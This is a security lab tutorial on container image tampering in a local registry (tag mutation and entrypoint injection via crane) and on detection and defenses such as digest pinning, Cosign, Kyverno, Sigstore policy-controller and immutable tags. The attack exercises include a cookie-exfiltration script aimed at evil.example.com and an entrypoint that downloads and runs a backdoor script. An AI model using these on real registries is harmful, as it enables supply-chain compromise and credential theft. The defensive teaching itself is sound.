Lab: Artifact Tampering and Detection — Swapping Container Images in a Registry

by

Overview

Container image tags are mutable pointers. Unlike a Git commit hash, the tag v1.0.0 is not cryptographically bound to a specific image — it is simply a label that a registry maps to a manifest digest. Anyone with push access to a repository can overwrite that mapping at any time, silently replacing the image behind a trusted tag.

This is not a theoretical risk. Supply-chain attacks routinely exploit tag mutability to inject malicious code into production environments. If your deployment manifests reference myapp:v1.0.0 by tag, an attacker who compromises registry credentials can swap the image, and every subsequent pull will fetch the attacker’s payload instead of your legitimate build.

In this lab you will:

  1. Set up a local OCI registry and push a legitimate container image.
  2. Perform a tag-mutation attack — push a completely different image under the same tag.
  3. Perform a layer-injection attack — subtly mutate an existing image without rebuilding it.
  4. Detect tampering with digest comparison.
  5. Defend against tampering with digest pinning, Cosign signatures, admission controllers, and registry immutability settings.

By the end, you will have hands-on experience with the full attack-and-defense lifecycle for container image integrity.

Prerequisites

Install the following tools before starting. All commands in this lab are tested on Linux and macOS.

Tool Purpose Install
Docker Build and run containers docs.docker.com/get-docker
crane Inspect and mutate OCI images without Docker go install github.com/google/go-containerregistry/cmd/crane@latest
Cosign Sign and verify container images docs.sigstore.dev/cosign
kubectl + kind Local Kubernetes cluster (for admission control exercises) kind.sigs.k8s.io
jq JSON processing apt install jq / brew install jq

Verify your setup:

docker --version
crane version
cosign version
kubectl version --client
kind version
jq --version

Environment Setup

Start a Local Registry

We use the official Docker registry image. This gives us a private, unauthenticated registry — perfect for demonstrating how easy tag mutation is when push access exists.

docker run -d -p 5000:5000 --name registry registry:2

Confirm the registry is running:

curl -s http://localhost:5000/v2/_catalog
# Expected: {"repositories":[]}

Build and Push a Legitimate Image

Create a minimal Nginx-based application that serves a simple page:

mkdir -p /tmp/lab-legitimate && cd /tmp/lab-legitimate

cat > index.html <<'EOF'
<!DOCTYPE html>
<html>
<head><title>Legitimate App</title></head>
<body><h1>Hello from the LEGITIMATE image</h1></body>
</html>
EOF

cat > Dockerfile <<'EOF'
FROM nginx:1.27-alpine
COPY index.html /usr/share/nginx/html/index.html
EOF

docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

Record the Original Digest

This digest is your source of truth. Save it — you will use it throughout the lab to detect and prevent tampering.

ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest: $ORIGINAL_DIGEST"
# Example output: sha256:a1b2c3d4e5f6...

Also save the full manifest for later comparison:

crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/original-manifest.json

Exercise 1: The Attack — Tag Mutation

Tag mutation is the simplest form of container image tampering. The attacker builds a completely different image and pushes it under the same tag, overwriting the legitimate image in the registry.

Step 1: Build a Malicious Image

Create an image that looks similar but serves different content — or in a real attack, runs a reverse shell, exfiltrates secrets, or mines cryptocurrency:

mkdir -p /tmp/lab-malicious && cd /tmp/lab-malicious

cat > index.html <<'EOF'
<!DOCTYPE html>
<html>
<head><title>Legitimate App</title></head>
<body>
<h1>Hello from the LEGITIMATE image</h1>
<!-- Attacker payload hidden below -->
<script>fetch('https://evil.example.com/exfil?cookie='+document.cookie)</script>
</body>
</html>
EOF

cat > Dockerfile <<'EOF'
FROM nginx:1.27-alpine
COPY index.html /usr/share/nginx/html/index.html
# In a real attack, additional malicious layers would be added here
EOF

docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

Note the critical detail: we pushed to the exact same tag — localhost:5000/myapp:v1.0.0.

Step 2: Verify the Tag Was Overwritten

TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest:  $ORIGINAL_DIGEST"
echo "Current digest:   $TAMPERED_DIGEST"

if [ "$ORIGINAL_DIGEST" != "$TAMPERED_DIGEST" ]; then
  echo "WARNING: Tag v1.0.0 has been MUTATED — the image has changed!"
fi

Output:

Original digest:  sha256:a1b2c3d4...
Current digest:   sha256:x9y8z7w6...
WARNING: Tag v1.0.0 has been MUTATED — the image has changed!

Anyone pulling myapp:v1.0.0 now receives the attacker’s image. There is no warning, no notification, and no audit trail in a basic registry. The tag simply points to a new manifest.

Why This Is Dangerous

This attack is trivial to execute for anyone with registry push credentials — a compromised CI service account, a leaked token in a public repository, or a disgruntled team member. The image tag looks the same, the repository name looks the same, and most deployment pipelines blindly pull whatever the tag points to.

Exercise 2: The Attack — Layer Injection

A full image swap is effective but crude. A more sophisticated attacker can modify an existing image in place, adding or altering layers without rebuilding from a Dockerfile. This makes the tampering harder to detect through casual inspection.

Step 1: Reset to the Legitimate Image

First, rebuild and push the legitimate image so we have a clean baseline:

cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Reset to original digest: $ORIGINAL_DIGEST"

Step 2: Mutate the Image with crane

The crane mutate command modifies image metadata and configuration without requiring a full rebuild. An attacker can change the entrypoint, add environment variables, or inject commands:

# Change the entrypoint to run a malicious command before the original process
crane mutate localhost:5000/myapp:v1.0.0 \
  --entrypoint "/bin/sh,-c,wget -q https://evil.example.com/backdoor.sh -O /tmp/b.sh && sh /tmp/b.sh; nginx -g 'daemon off;'" \
  --tag localhost:5000/myapp:v1.0.0

This single command overwrites the tag with a modified image that will execute a malicious download before starting Nginx — all without writing a Dockerfile or building from scratch.

Step 3: Compare Manifests

crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/tampered-manifest.json
diff /tmp/original-manifest.json /tmp/tampered-manifest.json

The diff will show that the config digest has changed (because the image configuration — including the entrypoint — is different), but the base layers may remain identical. To an operator casually inspecting the image, it looks nearly the same:

# Inspect the tampered image's config
crane config localhost:5000/myapp:v1.0.0 | jq '.config.Entrypoint'
# Shows the injected malicious entrypoint

# Compare with the original
docker inspect localhost:5000/myapp@$ORIGINAL_DIGEST | jq '.[0].Config.Entrypoint'
# Shows the original, clean entrypoint

This technique is particularly dangerous in environments where teams only check the image tag or the top-level manifest without inspecting the full configuration.

Exercise 3: Detection — Digest Comparison

The most fundamental detection mechanism is digest comparison. Since every unique image has a unique SHA-256 digest, any change — no matter how small — produces a completely different hash.

Step 1: Manual Verification Script

Create a script that checks whether an image tag still points to the expected digest:

cat > /tmp/verify-digest.sh <<'SCRIPT'
#!/bin/bash
set -euo pipefail

IMAGE="$1"
EXPECTED_DIGEST="$2"

CURRENT_DIGEST=$(crane digest "$IMAGE" 2>/dev/null)

if [ "$CURRENT_DIGEST" = "$EXPECTED_DIGEST" ]; then
  echo "PASS: $IMAGE matches expected digest"
  echo "  Digest: $CURRENT_DIGEST"
  exit 0
else
  echo "FAIL: $IMAGE has been TAMPERED WITH"
  echo "  Expected: $EXPECTED_DIGEST"
  echo "  Actual:   $CURRENT_DIGEST"
  exit 1
fi
SCRIPT
chmod +x /tmp/verify-digest.sh

Run it:

# This will FAIL because the image was tampered in Exercise 2
/tmp/verify-digest.sh localhost:5000/myapp:v1.0.0 "$ORIGINAL_DIGEST"
# Output: FAIL: localhost:5000/myapp:v1.0.0 has been TAMPERED WITH

Step 2: CI Pipeline Integration — GitHub Actions

Integrate digest verification into your CI/CD pipeline so that tampered images are caught before deployment:

name: Verify Image Integrity

on:
  workflow_dispatch:
  push:
    branches: [main]

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}/myapp

jobs:
  verify-image:
    runs-on: ubuntu-latest
    steps:
      - name: Install crane
        uses: imjasonh/setup-crane@v0.4

      - name: Log in to registry
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Verify image digest
        env:
          EXPECTED_DIGEST: ${{ vars.MYAPP_V1_DIGEST }}
        run: |
          IMAGE="${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:v1.0.0"
          CURRENT_DIGEST=$(crane digest "$IMAGE")

          echo "Expected: $EXPECTED_DIGEST"
          echo "Actual:   $CURRENT_DIGEST"

          if [ "$CURRENT_DIGEST" != "$EXPECTED_DIGEST" ]; then
            echo "::error::Image digest mismatch — possible tampering detected!"
            exit 1
          fi

          echo "Image integrity verified."

      - name: Verify all deployment images
        run: |
          # Parse digests from a tracked manifest file
          while IFS='=' read -r image digest; do
            CURRENT=$(crane digest "$image")
            if [ "$CURRENT" != "$digest" ]; then
              echo "::error::TAMPERED: $image (expected $digest, got $CURRENT)"
              FAILED=1
            else
              echo "OK: $image"
            fi
          done < ./deploy/image-digests.txt

          [ -z "${FAILED:-}" ] || exit 1

Store your expected digests in a version-controlled file (deploy/image-digests.txt) so any change to expected digests goes through code review:

# deploy/image-digests.txt
ghcr.io/myorg/myapp:v1.0.0=sha256:a1b2c3d4e5f6...
ghcr.io/myorg/myapp:v2.0.0=sha256:f6e5d4c3b2a1...

Exercise 4: Defense — Digest Pinning

Digest pinning is the simplest and most effective defense against tag mutation. Instead of referencing an image by its mutable tag, you reference it by its immutable digest.

Step 1: Pin the Image in a Kubernetes Manifest

Replace tag-based references with digest-based references:

# VULNERABLE: uses a mutable tag
# image: localhost:5000/myapp:v1.0.0

# SECURE: pinned to an immutable digest
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 1
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
      - name: myapp
        image: localhost:5000/myapp@sha256:a1b2c3d4e5f6...
        ports:
        - containerPort: 80

With digest pinning, even if an attacker mutates the v1.0.0 tag, your deployment still pulls the exact image identified by the pinned digest. The registry resolves images by digest independently of tags.

Step 2: Test It

# Reset to clean image
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)

# Tamper with the tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

# Pull by tag — gets the TAMPERED image
docker pull localhost:5000/myapp:v1.0.0

# Pull by digest — gets the ORIGINAL image
docker pull localhost:5000/myapp@$ORIGINAL_DIGEST

# Verify
docker run --rm localhost:5000/myapp@$ORIGINAL_DIGEST cat /usr/share/nginx/html/index.html
# Output: Hello from the LEGITIMATE image

Step 3: Enforce Digest Pinning with Kyverno

To ensure that no team member accidentally deploys a tag-based reference, use a Kyverno policy that rejects any pod spec that does not use a digest:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-image-digest
  annotations:
    policies.kyverno.io/title: Require Image Digest
    policies.kyverno.io/description: >-
      Requires all container images to be referenced by digest
      rather than by tag, preventing tag-mutation attacks.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
  - name: check-image-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "Images must be referenced by digest (image@sha256:...), not by tag."
      pattern:
        spec:
          containers:
          - image: "*@sha256:*"
  - name: check-init-container-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    preconditions:
      all:
      - key: "{{ request.object.spec.initContainers[] || `[]` | length(@) }}"
        operator: GreaterThanOrEquals
        value: 1
    validate:
      message: "Init container images must be referenced by digest."
      pattern:
        spec:
          initContainers:
          - image: "*@sha256:*"

Apply the policy and test:

kubectl apply -f require-image-digest.yaml

# This will be REJECTED (uses a tag)
kubectl run test --image=localhost:5000/myapp:v1.0.0
# Error: Images must be referenced by digest (image@sha256:...), not by tag.

# This will be ADMITTED (uses a digest)
kubectl run test --image=localhost:5000/myapp@sha256:a1b2c3d4e5f6...

Exercise 5: Defense — Cosign Signature Verification

Digest pinning tells you which image to trust, but it does not prove who built it. Cosign signatures bind a cryptographic identity to an image digest, enabling you to verify provenance.

Step 1: Generate a Signing Key Pair

cosign generate-key-pair
# Creates cosign.key (private) and cosign.pub (public)

Step 2: Sign the Legitimate Image

Always sign by digest, never by tag:

# Reset to clean image
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)

# Sign by digest
cosign sign --key cosign.key --tlog-upload=false \
  localhost:5000/myapp@${ORIGINAL_DIGEST}

# Verify the signature
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp@${ORIGINAL_DIGEST}
# Output: Verification for localhost:5000/myapp@sha256:... --
# The following checks were performed:
# - The cosign claims were validated
# - The signatures were verified against the specified public key

Step 3: Tamper with the Tag and Verify

# Push the malicious image under the same tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

# Try to verify the tag — this will FAIL
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp:v1.0.0
# Error: no matching signatures

# Verify the original digest — this still PASSES
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp@${ORIGINAL_DIGEST}
# Output: Verified OK

This demonstrates the key property: Cosign signatures are bound to digests, not tags. When an attacker mutates a tag, the signature does not follow — it remains attached to the original digest. Verification against the tag fails because the tag now points to an unsigned image.

Why This Matters

Signatures provide a trust chain from builder to deployer. Even if an attacker gains push access to your registry, they cannot forge a valid signature without your private signing key. Combined with digest pinning, signatures give you both integrity (the image has not been modified) and authenticity (the image was built by a trusted party).

Exercise 6: Defense — Admission Controller Enforcement

Digest pinning and signatures are only effective if they are consistently enforced. An admission controller automates this enforcement at the Kubernetes API level, rejecting any workload that references an unsigned or unverified image.

Step 1: Create a Kind Cluster

kind create cluster --name sigstore-lab

# Configure the cluster to access the local registry
docker network connect kind registry
kubectl cluster-info --context kind-sigstore-lab

Step 2: Install the Sigstore Policy Controller

helm repo add sigstore https://sigstore.github.io/helm-charts
helm repo update

helm install policy-controller sigstore/policy-controller \
  --namespace cosign-system \
  --create-namespace \
  --set webhook.configMapName=policy-controller-config

Wait for the controller to be ready:

kubectl -n cosign-system rollout status deploy/policy-controller-webhook

Step 3: Create a Verification Policy

# Create a secret with the Cosign public key
kubectl create secret generic cosign-pub-key \
  --from-file=cosign.pub=cosign.pub \
  -n cosign-system

# Label the namespace to enable enforcement
kubectl label namespace default \
  policy.sigstore.dev/include=true

Create a ClusterImagePolicy that requires a valid Cosign signature for all images from your registry:

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-signature
spec:
  images:
  - glob: "localhost:5000/**"
  authorities:
  - key:
      secretRef:
        name: cosign-pub-key
        namespace: cosign-system
      hashAlgorithm: sha256
kubectl apply -f cluster-image-policy.yaml

Step 4: Test Enforcement

# Deploy with the SIGNED image (by digest) — ADMITTED
kubectl run signed-app \
  --image=localhost:5000/myapp@${ORIGINAL_DIGEST}
# pod/signed-app created

# Deploy with the TAMPERED image (unsigned) — REJECTED
TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
kubectl run tampered-app \
  --image=localhost:5000/myapp@${TAMPERED_DIGEST}
# Error from server (BadRequest): admission webhook "policy.sigstore.dev" denied the request:
# validation failed: failed policy: require-signature: 
# spec.containers[0].image signature verification failed

The admission controller automatically blocks any image that does not have a valid signature from your trusted key. This closes the loop — even if an attacker pushes a tampered image, it cannot run in your cluster.

Exercise 7: Registry Immutability

The attacks in Exercises 1 and 2 are only possible because the registry allows tag overwriting. Many managed registries support tag immutability, which prevents any push to an existing tag.

AWS ECR: Enable Tag Immutability

# Enable immutable tags on an existing repository
aws ecr put-image-tag-mutability \
  --repository-name myapp \
  --image-tag-mutability IMMUTABLE

# Verify the setting
aws ecr describe-repositories --repository-names myapp \
  | jq '.repositories[0].imageTagMutability'
# Output: "IMMUTABLE"

With immutability enabled, any attempt to push to an existing tag is rejected:

docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/myapp:v1.0.0
# Error: tag invalid: The image tag 'v1.0.0' already exists in the 'myapp' repository
# and cannot be overwritten because the repository is immutable.

Google Artifact Registry: Enable Tag Immutability

gcloud artifacts repositories update myapp-repo \
  --location=us-central1 \
  --immutable-tags

Azure ACR: Enable Tag Locking

az acr repository update \
  --name myregistry \
  --image myapp:v1.0.0 \
  --write-enabled false

Docker Hub and GHCR

Docker Hub and GitHub Container Registry do not currently support tag immutability at the registry level. For these registries, rely on Cosign signatures and admission controllers as your primary defense.

Trade-offs

Tag immutability prevents overwriting but also prevents legitimate re-tagging scenarios (such as promoting an image from staging to production by re-tagging). Plan your tagging strategy accordingly — use unique tags (such as Git SHA-based tags) and promotion workflows that create new tags rather than overwriting existing ones.

Cleanup

Remove all resources created during this lab:

# Stop and remove the local registry
docker stop registry && docker rm registry

# Remove the kind cluster (if created)
kind delete cluster --name sigstore-lab

# Clean up temporary files
rm -rf /tmp/lab-legitimate /tmp/lab-malicious
rm -f /tmp/original-manifest.json /tmp/tampered-manifest.json
rm -f /tmp/verify-digest.sh
rm -f cosign.key cosign.pub

# Remove locally cached images
docker rmi localhost:5000/myapp:v1.0.0 2>/dev/null || true

Key Takeaways

  • Container image tags are mutable. Anyone with push access can silently replace the image behind a tag. Never trust a tag as a guarantee of image content.
  • Digest pinning is your first line of defense. Referencing images by @sha256:... instead of :tag ensures you always pull the exact image you intend to, regardless of tag mutations.
  • Cosign signatures prove provenance. Signatures bind a cryptographic identity to a specific digest, verifying both integrity (not tampered) and authenticity (built by a trusted party).
  • Admission controllers enforce policy at deploy time. Tools like Kyverno and Sigstore policy-controller reject unsigned or unverified images before they can run in your cluster.
  • Registry immutability prevents the attack at the source. Enabling immutable tags on ECR, GCR, or ACR stops tag overwriting entirely, but requires a tagging strategy that avoids re-use.
  • Defense in depth is essential. No single mechanism is sufficient. Combine digest pinning, signing, admission control, and registry immutability for robust protection against supply-chain attacks on container images.

Next Steps

Continue building your container security skills with these related guides: